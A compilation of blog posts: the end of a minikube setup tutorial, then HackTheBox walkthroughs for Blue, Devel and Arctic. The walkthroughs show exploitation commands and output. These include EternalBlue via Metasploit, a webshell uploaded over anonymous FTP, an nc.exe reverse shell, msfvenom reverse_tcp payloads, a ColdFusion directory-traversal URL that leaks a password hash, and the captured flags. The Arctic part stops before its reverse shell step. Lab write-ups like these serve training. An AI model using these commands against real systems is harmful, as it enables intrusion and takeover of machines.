sudo mv kubectl /usr/local/bin
kubectl version

We installed the latest version at the time which is version 1.22.0.

Kubectl can also be installed on windows or mac. From the link I mentioned above you can find appropriate packages for all popular OS’s.

Now we can visit the page minikube get started page. Select the appropriate version of minikube ill use the binary version.

I am using Linux ill select that and we can see the link to the appropriate binary.

curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube

We have now installed minikube successfully.

We will use virtual box as our virtual machine provider for Kubernetes. Now well install virtual box.

sudo apt-get install virtualbox -y 

Once the command is complete we will install virtual box extension package.

sudo apt-get install virtualbox—ext–pack -y 

Now we are ready to deploy Kubernetes with virtual box and minikube so we will start the process.

minikube start --driver=virtualbox

Once this is complete now we can check if everything is running correctly.

Now we can check nodes running which is only one as we made only one.

kubectl get nodes

Now we can create deployment.

kubectl expose deployment hello-minikube --type=NodePort --port=8080
kubectl get deployments

Now we can expose service on our deployments and than get URL for the running app.

kubectl expose deployment hello-minikube --type=NodePort --port=8080
minikube service hello-minikube --url
curl http://192.168.212.7:31569

At last we will stop the cluster and delete the minikube instance.

minikube stop
minikube delete --all

That’s all for Kubernetes basics part 1 next post would be about pods in Kubernetes stay tuned. If you liked the post you might also like Enterprise’s walkthrough as it goes into one of the container breakouts. If you have any specific topics you would like me to cover comment below also try solving Ubotoniam from hack the box if you are excited about Kubernetes security.

TL;DR

This is a writeup on Blue which is a Windows box categorized as easy on HackTheBox, and is primarily based on the exploitation of the Eternal Blue MS17-010 exploit without requiring the need for any privilege escalation to obtain the root flag.

Walkthrough

This writeup explains both, exploitation with and without Metasploit.

Blue Writeup: Scanning Network

Let’s start off by running the usual initial nmap scan.

Nmap 7.91 scan initiated as: nmap -sC -sV -n -v -A -oN nmap.initial 10.129.73.158
 Increasing send delay for 10.129.73.158 from 0 to 5 due to 195 out of 648 dropped probes since last increase.
 Nmap scan report for 10.129.73.158
 Host is up (0.17s latency).
 Not shown: 991 closed ports

 PORT      STATE SERVICE      VERSION
 135/tcp   open  msrpc        Microsoft Windows RPC
 139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
 445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
 49152/tcp open  msrpc        Microsoft Windows RPC
 49153/tcp open  msrpc        Microsoft Windows RPC
 49154/tcp open  msrpc        Microsoft Windows RPC
 49155/tcp open  msrpc        Microsoft Windows RPC
 49156/tcp open  msrpc        Microsoft Windows RPC
 49157/tcp open  msrpc        Microsoft Windows RPC

 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
 Uptime guess: 0.006 days (since Wed Jun  2 11:34:09 2021)
 Network Distance: 2 hops
 TCP Sequence Prediction: Difficulty=264 (Good luck!)
 IP ID Sequence Generation: Incremental
 Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
 Host script results:
 |clock-skew: mean: -19m57s, deviation: 34m37s, median: 1s 
 | smb-os-discovery:  
 |   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) 
 |   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional 
 |   Computer name: haris-PC |   NetBIOS computer name: HARIS-PC\x00 
 |   Workgroup: WORKGROUP\x00 
 |  System time: 2021-06-02T16:42:28+01:00
 | smb-security-mode: 
 |   account_used: guest
 |   authentication_level: user
 |   challenge_response: supported
 |_  message_signing: disabled (dangerous, but default)
 | smb2-security-mode: 
 |   2.02: 
 |_    Message signing enabled but not required
 | smb2-time: 
 |   date: 2021-06-02T15:42:31
 |_  start_date: 2021-06-02T15:34:23
 TRACEROUTE (using port 1720/tcp)
 HOP RTT       ADDRESS
 1   168.18 ms 10.10.14.1
 2   168.38 ms 10.129.73.158
 Read data files from: /usr/bin/../share/nmap
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

We have a plenty of open ports here. Although, Microsoft RPC on port 135, netbios-ssn on port 139 and  Microsoft-DS (Directory Services) SMB on port 445 seem to be the juicy ones, along with the PC name being seen as “haris-PC”.

The version on port 445 says that this box is running “Windows 7 Professional 7601 SP1”, and with the box name itself “Blue” we can really look forward to expecting the EternalBlue (MS17-010) vulnerability here. Let’s just confirm it by running the available nmap scripts for SMB vulnerabilities.

In simple words, Server Message Block Protocol (SMB protocol) is basically a client-server communication protocol used for sharing access to files, printers, serial ports, and other resources on a network.

Checking for SMB vulnerabilities using Nmap scripts

We have the following list of nmap scripts targeted towards verifying any SMB vulnerabilities on the target.

PS- The above list also includes the MS17-010 vulnerability.

Let’s run these SMB targeted scripts on the target using nmap.

┌─[root@kali]─[~/Desktop/Blue HTB]
 └──╼ nmap --script smb-vuln* -sV -v -p 139,445 10.129.156.45
 Starting Nmap 7.91 ( https://nmap.org )
 Nmap scan report for 10.129.156.45
 Host is up (0.19s latency).

 PORT    STATE SERVICE      VERSION
 139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
 445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
 Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

 Host script results:
 |smb-vuln-ms10-054: false 
 |_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND 
 | smb-vuln-ms17-010:  
 |   VULNERABLE: 
 |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) 
 |     State:   VULNERABLE 
 |     IDs:  CVE:CVE-2017-0143 
 |     Risk factor: HIGH 
 |       A critical remote code execution vulnerability exists in Microsoft SMBv1 
 |        servers (ms17-010). 
 |            
 |     Disclosure date: 2017-03-14 
 |     References: 
 |      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ 
 |      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx 
 |      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
 NSE: Script Post-scanning.
 Read data files from: /usr/bin/../share/nmap
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ 
 Nmap done: 1 IP address (1 host up) scanned in 24.22 seconds
            Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Great! The box is vulnerable to the Eternal_Blue MS17-010 exploit as expected. Let’s move ahead with the exploitation phase using metasploit.

Blue Writeup: Exploitation (with Metasploit)

Firing up the Metasploit framework and using the MS17-010 exploit on the target.

Please note that your LHOST must be set to the HackTheBox VPN network IP address.

msf5 > search ms17-010
 Matching Modules
 #  Name                                           Disclosure Date  Rank     Check  Description
 ----                                           ---------------  ----     -----  -----------
 0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
 1  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
 2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
 3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
 4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
 5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution 

 msf5 > use 2

 msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
 Module options (exploit/windows/smb/ms17_010_eternalblue):
 Name           Current Setting  Required  Description
    ----           ---------------  --------  -----------
    RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
    RPORT          445              yes       The target port (TCP)
    SMBDomain      .                no        (Optional) The Windows domain to use for authentication
    SMBPass                         no        (Optional) The password for the specified username
    SMBUser                         no        (Optional) The username to authenticate as
    VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
    VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.
 Exploit target:
 Id  Name
    --  ----
    0   Windows 7 and Server 2008 R2 (x64) All Service Packs

 msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.129.156.45

 msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
 payload => windows/x64/meterpreter/reverse_tcp

 msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

 [-] 10.129.156.45:445 - Exploit failed: The following options failed to validate: LHOST.
 [*] Exploit completed, but no session was created.
 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.53
 LHOST => 10.10.14.53
 msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
 [] Started reverse TCP handler on 10.10.14.53:4444  [] 10.129.156.45:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
 [+] 10.129.156.45:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
 [] 10.129.156.45:445     - Scanned 1 of 1 hosts (100% complete) [] 10.129.156.45:445 - Connecting to target for exploitation.
 [+] 10.129.156.45:445 - Connection established for exploitation.
 [+] 10.129.156.45:445 - Target OS selected valid for OS indicated by SMB reply                                                                                    
 [] 10.129.156.45:445 - CORE raw buffer dump (42 bytes)                                                                                                            [] 10.129.156.45:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes                                                             
 [] 10.129.156.45:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv                                                              [] 10.129.156.45:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1                                                                   
 [+] 10.129.156.45:445 - Target arch selected valid for arch indicated by DCE/RPC reply                                                                            
 [] 10.129.156.45:445 - Trying exploit with 12 Groom Allocations.                                                                                                  [] 10.129.156.45:445 - Sending all but last fragment of exploit packet                                                                                           
 [] 10.129.156.45:445 - Starting non-paged pool grooming                                                                                                           [+] 10.129.156.45:445 - Sending SMBv2 buffers                                                                                                                      [+] 10.129.156.45:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.                                                                      [] 10.129.156.45:445 - Sending final SMBv2 buffers.                                                                                                              
 [] 10.129.156.45:445 - Sending last fragment of exploit packet!                                                                                                   [] 10.129.156.45:445 - Receiving response from exploit packet                                                                                                    
 [+] 10.129.156.45:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!                                                                                
 [] 10.129.156.45:445 - Sending egg to corrupted connection.                                                                                                       [] 10.129.156.45:445 - Triggering free of corrupted buffer.                                                                                                      
 [] Sending stage (201283 bytes) to 10.129.156.45                                                                                                                  [] Meterpreter session 1 opened (10.10.14.53:4444 -> 10.129.156.45:49158) at 2021-06-03 09:46:36 -0400                                                                                                                                                                                                                 
 [+] 10.129.156.45:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=                                                                             
 [+] 10.129.156.45:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=                                                                             
 [+] 10.129.156.45:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=      
                                                                       
 meterpreter > sysinfo                                                                                                                                             
 Computer        : HARIS-PC
 OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
 Architecture    : x64
 System Language : en_GB
 Domain          : WORKGROUP
 Logged On Users : 0
 Meterpreter     : x64/windows

 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM

 meterpreter > shell
 Process 2904 created.
 Channel 1 created.
 Microsoft Windows [Version 6.1.7601]
 Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

 C:\Windows\system32> whoami
 whoami
 nt authority\system
 C:\Users> dir
 dir
  Volume in drive C has no label.
  Volume Serial Number is A0EF-1911
 Directory of C:\Users
 21/07/2017  07:56    
          .
 21/07/2017  07:56              ..
 21/07/2017  07:56              Administrator
 14/07/2017  14:45              haris
 12/04/2011  08:51              Public
                0 File(s)              0 bytes
                5 Dir(s)  17,254,989,824 bytes free                                                                                                                         

Oh man, this was pretty easy! We are right away AUTHORITY\SYSTEM .

Blue Writeup: Exploitation (without Metasploit)

Searching for the MS17-010 exploit.

Let’s create a copy of this exploit to our current directory. If you didn’t already know, instead of copying we can also specify the exploit ID along with the –mirror flag in searchsploit to create a copy of the exploit in the current directory.

After frisking through the exploit code, I figured the following alterations that were needed to be done.

• After a lil enumeration we found out that “guest” login is allowed on the machine, so we need to add ‘guest’ in the USERNAME field of the exploit.

• Creating a reverse shell payload using msfvenom, and specifying the path to this payload in the exploit.
  

Let’s now open a listener on port 4444

And run the MS17-010 python exploit.

┌─[root@kali]─[~/Desktop/BlueHTB]
└──╼ python 42315.py 10.129.159.0

Getting a reverse shell.

┌─[root@kali]─[~/Desktop/BlueHTB]
└──╼ nc -nlvp 4444 
listening on [any] 4444 ... 
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.40] 49158 
Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. 

C:\Windows\system32>whoami 
nt authority\system

We are AUTHORITY\SYSTEM . Let’s quickly retrieve the flags.

Blue Writeup: User Flag

C:\Users> cd haris\Desktop 

C:\Users\haris\Desktop> type user.txt
4c546aea7dbee75cbd71de245c8deea9

Blue Writeup: Root Flag

C:\Users> cd Administrator\Desktop\ 

C:\Users\Administrator\Desktop> type root.txt 
ff548eb71e920ff6c08843ce9df4e717 

Until next time, do checkout our other writeups here.

TL;DR

This writeup is based on Devel which is an easy-rated machine on HackTheBox. It starts with FTP and HTTP. I will use FTP anonymous login to upload a webshell to get shell on the machine. Later on, I’ll use one of many Windows kernel exploit to gain system shell. It requires some basic privilege escalation for the root flag.

Walkthrough

Scanning Network

I will start with Nmap scan to find the open ports and services active on machine. I found FTP and HTTP open on 21 and 80 respectively. By using Banner Grabbing, we will able to get the version of FTP and HTTP. Let’s see the nmap result.

nmap -sC -sV -oA intense 10.129.152.23
 Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-27 19:04 UTC
 Nmap scan report for 10.129.152.23
 Host is up (0.069s latency).
 Not shown: 998 filtered ports
 PORT   STATE SERVICE VERSION
 21/tcp open  ftp     Microsoft ftpd
 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
 | 03-18-17  02:06AM                aspnet_client
 | 03-17-17  05:37PM                689 iisstart.htm
 |03-17-17  05:37PM                 184946 welcome.png | ftp-syst:  |  SYST: Windows_NT
 80/tcp open  http    Microsoft IIS httpd 7.5
 | http-methods: 
 |_  Potentially risky methods: TRACE
 |_http-server-header: Microsoft-IIS/7.5
 |_http-title: IIS7
 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 14.73 seconds

As we found the version of FTP and HTTP. First, we will enumerate HTTP. Let’s jump into it in enumeration phase.

Enumeration

Let’s see the IP on the browser.

The above image reveals that the website is running on IIS 7 Server. We have an option to do directory brute-force but I want to skip this process because we didn’t have anything interesting on the website. But we can see the source of the website.

We can see that the image on the website is having the source “welcome.png”. Now, we have only this much information for HTTP. Let’s move to enumeration of FTP.

We will login to FTP via anonymous user.

ftp 10.129.152.23
Connected to 10.129.152.23.
220 Microsoft FTP Service
Name (10.129.118.104:root): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  02:06AM                     aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
 226 Transfer complete

In the FTP login, we are able to see some uploaded file and it includes the “welcome.png” which correlates us to the source which we saw on the source of the website. So now, let’s check welcome.png on the website.

We can see the “welcome.png” on the website which is uploaded on the machine via ftp. It indicates that we can able to upload files to trigger RCE (Remote Code Execution) on the machine. Remote Code Execution is a vulnerability when an attacker puts some input to a file and executes it. It leads to full compromise of  target machine.

We can upload a test file to the machine to check whether we can able to upload any file or not.

 ftp 10.129.152.23
 Connected to 10.129.152.23.
 220 Microsoft FTP Service
 Name (10.129.152.23:root): anonymous
 331 Anonymous access allowed, send identity (e-mail name) as password.
 Password:
 230 User logged in.
 Remote system type is Windows_NT.
 ftp> put testh4x.txt 
 local: testh4x.txt remote: testh4x.txt
 200 PORT command successful.
 125 Data connection already open; Transfer starting.
 226 Transfer complete.
 32 bytes sent in 0.00 secs (1.0523 MB/s)

Devel Writeup Exploitation (Without Metasploit)

FTP Exploitation (File Upload)

We successfully uploaded our test file to the machine. Now, we can upload a simple web shell to the machine. If you search for web shells on Google, you will get tons of shells. I like to use web shell from  SecLists. Later on we will visit to <ip address>/cmd.aspx.

 ftp 10.129.152.23
 Connected to 10.129.152.23.
 220 Microsoft FTP Service
 Name (10.129.152.23:root): anonymous
 Password:
 230 User logged in.
 Remote system type is Windows_NT.
 ftp> put cmd.aspx 
 local: cmd.aspx remote: cmd.aspx
 200 PORT command successful.
 125 Data connection already open; Transfer starting.
 226 Transfer complete.
 1442 bytes sent in 0.00 secs (31.2545 MB/s)

Now I will visit http://10.129.152.23/cmd.aspx. and I get a form.

Now we can run whoami to print the current user of machine.

As also we can run dir to see the files, we get to know the directory path of the target machine.

As we can see that the user is iis appool\web, we have some ways to get shell by using nc.exe, Nishang and Meterpreter. I will use nc.exe to get the shell.

I’ll make a directory name h4xploit and copy nc.exe in the directory. I will run now smb server.

sudo python smbserver.py share h4xploit/
 Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
 [] Config file parsed 
 [] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
 [] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 
 [] Config file parsed
 [] Config file parsed 
 [] Config file parsed

Now, I will launch nc listener on my local box to get the shell.

 nc -lnvp 443
 Listening on 0.0.0.0 443

Now, I will give command to the webshell.

\\10.10.14.61\share\nc.exe -e cmd.exe 10.10.14.61 443 

By this above command, we get the shell.

 Connection received on 10.129.152.23 49159
 Microsoft Windows [Version 6.1.7600]
 Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 c:\windows\system32\inetsrv>whoami
 iis apppool\web
 c:\windows\system32\inetsrv> cd ../../..
 c:\ cd Users
 c:\Users>cd babis 
 cd babis
 Access is denied.
 c:\Users>

As you can see we have access denied to the users. So we have to get the system shell.

Now, we have to use exploit suggestor as WinPEAS, Watson or msfconsole’s local-exploit-suggestor.  I will be using watson to see the suggested exploits.

Privilege Escalation (Using Watson)

I already transferred the Watson.exe to the target system using smbserver. If you want to download Watson.exe, then visit Watson .

Now, let’s run the watson.exe and see the suggested exploits for privilege escalation.

c:\Windows\Microsoft.NET\Framework>\10.10.14.61\share\Watson.exe
\\10.10.14.61\share\Watson.exe
  
[] OS Build number: 7600 
[] CPU Address Width: 32 
[] Process IntPtr Size: 4 
[] Using Windows path: C:\WINDOWS\System32

[] Appears vulnerable to MS10-073
 [>] Description: Kernel-mode drivers load unspecified keyboard layers improperly, which result in arbitrary code execution in the kernel. 
[>] Exploit: https://www.exploit-db.com/exploits/36327/ 
[>] Notes: None. 

[] Appears vulnerable to MS10-092 
[>] Description: When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with.Also, In a default configuration, normal users can read and write the task files that they have created.By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.
[>] Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms10_092_schelevator.rb
[>] Notes: None. 

[] Appears vulnerable to MS11-046
 [>] Description: The Ancillary Function Driver (AFD) in afd.sys does not properly validate user-mode input, which allows local users to elevate privileges. 
[>] Exploit: https://www.exploit-db.com/exploits/40564/ 
[>] Notes: None.

[] Appears vulnerable to MS12-042 
[>] Description: An EoP exists due to the way the Windows User Mode Scheduler handles system requests, which can be exploited to execute arbitrary code in kernel mode. 
[>] Exploit: https://www.exploit-db.com/exploits/20861/ 
[>] Notes: None. 

[] Appears vulnerable to MS13-005 
[>] Description: Due to a problem with isolating window broadcast messages in the Windows kernel, an attacker can broadcast commands from a lower Integrity Level process to a higher Integrity Level process, thereby effecting a privilege escalation. 
[>] Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb 
[>] Notes: None. 

[] Finished. Found 5 vulns :)

As you can see the suggested exploits above using Watson.exe. Now, I’ll choose MS11-046 because I found it compatible with our requirements and easily available on WindowsExploits. If you see the source of the exploit it shows:

 Privileged shell execution:  
     - the SYSTEM shell will spawn within the invoking shell/process

For getting system shell, we have MS11-046,  this is a precompiled exe that spawn system shell within current shell. I will save this exe in my smb share and run it on the current shell.  If you want to know more about MS11-046, then you can visit here .

c:\Users>\\10.10.14.61\share\MS11-046.exe
 
 c:\Windows\System32>whoami
 whoami
 nt authority\system
 c:\Windows\System32>

Devel Writeup Exploitation (With Metasploit)

We have to create a payload using msfvenom to upload in the machine using ftp.

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.61 LPORT=4444 -f aspx > h4xplo1t.aspx
 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
 [-] No arch selected, selecting arch: x86 from the payload
 No encoder specified, outputting raw payload
 Payload size: 354 bytes
 Final size of aspx file: 2884 bytes

As I created the payload. Now, I will upload this file to the machine.

 ftp 10.129.152.23
 Connected to 10.129.152.23.
 220 Microsoft FTP Service
 Name (10.129.152.23:root): anonymous
 Password:
 230 User logged in.
 Remote system type is Windows_NT.
 ftp> put h4xplo1t.aspx 
 local: h4xplo1t.aspx remote: h4xplo1t.aspx
 200 PORT command successful.
 125 Data connection already open; Transfer starting.
 226 Transfer complete.
 2921 bytes sent in 0.00 secs (30.9520 MB/s)

Now, I will visit http://10.129.152.23/h4xplo1t.aspx. Until we can setup the meterpreter for getting shell.

 msf6 > use exploit/multi/handler 
 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf6 exploit(multi/handler) > show options
 Module options (exploit/multi/handler):
 Name  Current Setting  Required  Description
 ----  ---------------  --------  -----------
 Payload options (windows/meterpreter/reverse_tcp):
 Name      Current Setting  Required  Description
 ----      ---------------  --------  -----------
 EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
 LHOST                      yes       The listen address (an interface may be specified)
 LPORT     4444             yes       The listen port
 Exploit target:
 Id  Name
 --  ----
 0   Wildcard Target
 msf6 exploit(multi/handler) > set LHOST 10.10.14.61
 LHOST => 10.10.14.61
 msf6 exploit(multi/handler) > run
 [*] Started reverse TCP handler on 10.10.14.61:4444

After visiting to http://10.129.152.23/h4xplo1t.aspx. I get the shell in metasploit.

 [*] Meterpreter session 1 opened (10.10.14.61:4444 -> 10.129.152.23:49164) at 2021-05-28 12:41:14 +0000
 meterpreter > sysinfo
 Computer        : DEVEL
 OS              : Windows 7 (6.1 Build 7600).
 Architecture    : x86
 System Language : el_GR
 Domain          : HTB
 Logged On Users : 0
 Meterpreter     : x86/windows

Now, I’ll use local_exploit_suggestor for identifying exploits to get system shell. I will select the backgrounded session to identify the exploit.

 msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
 SESSION => 1
 msf6 post(multi/recon/local_exploit_suggester) > run
 [] 10.129.152.23 - Collecting local exploits for x86/windows… [] 10.129.152.23 - 37 exploit checks are being tried…
 [+] 10.129.152.23 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
 [+] 10.129.152.23 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
 [+] 10.129.152.23 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
 [+] 10.129.152.23 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
 [+] 10.129.152.23 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
 [+] 10.129.152.23 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
 [+] 10.129.152.23 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
 [+] 10.129.152.23 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
 [+] 10.129.152.23 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
 [+] 10.129.152.23 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
 [+] 10.129.152.23 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
 [+] 10.129.152.23 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
 [+] 10.129.152.23 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
 [*] Post module execution completed 

I will use exploit/windows/local/ms10_015_kitrap0d, this exploit gives new session with system shell.

 msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 2
 SESSION => 2
 msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST 10.10.14.61
 LHOST => 10.10.14.61
 msf6 exploit(windows/local/ms10_015_kitrap0d) > run
 [] Started reverse TCP handler on 10.10.14.61:4444  [] Launching notepad to host the exploit…
 [+] Process 3204 launched.
 [] Reflectively injecting the exploit DLL into 3204… [] Injecting exploit into 3204 …
 [] Exploit injected. Injecting payload into 3204… [] Payload injected. Executing exploit…
 [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
 [] Sending stage (175174 bytes) to 10.129.152.23 [] Meterpreter session 3 opened (10.10.14.61:4444 ->    
 10.129.152.23:49165) at 2021-05-28 12:51:59 +0000
 meterpreter > shell
 Process 3484 created.
 Channel 1 created.
 Microsoft Windows [Version 6.1.7600]
 Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 c:\windows\system32\inetsrv>whoami
 whoami
 nt authority\system
 c:\windows\system32\inetsrv>

As we saw in the manual exploitation part, before privilege escalation, we don’t have access to the user as well as to root flag. Once we escalated the privileges, we have access to user.txt and root.txt

Devel Writeup: User

We get the user babis. We get the user flag.

 c:>cd Users/babis/Desktop
 c:\Users\babis\Desktop>type user.txt.txt
 9ecdd6a3aedf24b41562fea70f4cb3e8
 c:\Users\babis\Desktop>

Devel Writeup: Root

We can now read the root flag.

 c:\Users>cd Administrator/Desktop 
 c:\Users\Administrator\Desktop>type root.txt 
 e621a0b5041708797c4fc4728bc72b4b 
 c:\Users\Administrator\Desktop>

Hope you like the writeup. You can also checkout my recent writeups Lame and Legacy .

TL;DR

This is a writeup on Arctic which is a Linux box categorized as easy on HackTheBox, and has Adobe’s ColdFusion as a primary service running on it. The exploitation essentially leverages enumeration and CVEs, namely Adobe ColdFusion – Directory Traversal & MS10_092. Interestingly, it does require us to escalate the user privileges for obtaining the root flag.

Walkthrough

Before, we start, I want to let you know that this particular box Arctic on HackTheBox has got some serious latency issue. It took about 20-30 seconds to serve each request, and it sadly kept dying on me. I had to reset it a few times, thus as a result you might notice different IP addresses for the box in the included screenshots and commands.

Arctic Writeup: Scanning Network

Let’s start off by running an obvious nmap scan.

# Nmap 7.70 scan initiated as: nmap -sC -sV -oA nmap.basic 10.129.156.45
Nmap scan report for 10.129.150.85
 Host is up (0.16s latency).
 Not shown: 997 filtered ports
 PORT      STATE SERVICE VERSION

 135/tcp   open  msrpc   Microsoft Windows RPC

 8500/tcp  open  fmtp?

 49154/tcp open  msrpc   Microsoft Windows RPC

 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
 Device type: general purpose|phone|specialized
 Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)

 Network Distance: 2 hops
 TCP Sequence Prediction: Difficulty=262 (Good luck!)
 IP ID Sequence Generation: Incremental
 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

So, the scan has returned with 3 open ports 135, 8500, 49154. Among which, the 135 & 49154 are running basic RPC service.  Let’s first explore port 8500 as it seems interesting.

Arctic Writeup: Enumeration

Starting off with the browser view of port 8500.

We find two directories, namely CFIDE & cfdocs. Enumerating further with CFIDE/

We have a plenty of files and directories in here. But, administrator sounds worthy enough to be explored first 😉

Okay, so we have a login page of “ColdFusion 8” running here, with the username locked to admin.
You can check out this link to learn more about Adobe’s ColdFusion.

I also googled about the changelog for ColdFusion 8 and found out that there was only a single sub-version of version 8 i.e. “ColdFusion v8.0.1“. Thus, we can be sure that we are dealing with ColdFusion v8.0.1 here. It’s always wise to do version enumeration, you never know where it may help you out 😉

I did try a few default passwords like “admin“, “password“, etc. but no luck with them. And I couldn’t afford to brute-fore my way in because this box took freaking 30 seconds to respond to every request.

Arctic Writeup: Exploitation

So, better search for some exploits available for ColdFusion 8

I found this Directory Traversal exploit on ExploitDB

Arctic Writeup: Using the Directory Traversal Exploit

Modifying the URL (as per the instructions in the exploit)  –

http://10.129.150.104:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

The exploit did work and reveals a password hash

Password Hash--> 
 password = 2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03

Analyzing the password hash

Using a hash identifier website I found out that the hash type is SHA1

Further trying a few websites for SHA1 hash decryption I was able to decrypt the password hash using this site

password = happyday

Great! Now, after trying the password obtained, we were logged in as “Administrator“.

Arctic Writeup: Getting a reverse shell

There are a hell lot of things to do here but what’s of use to us is the “Scheduling Tasks” service under the “Debugging & Logging” section, which ColdFusion offers and allows us to upload files.

I will be creating a reverse shell in jsp using msfvenom, to upload.
Why jsp?
It’s because after I took a lil hint from the walkthroughs, I learn that ColdFusion serves and runs jsp files.

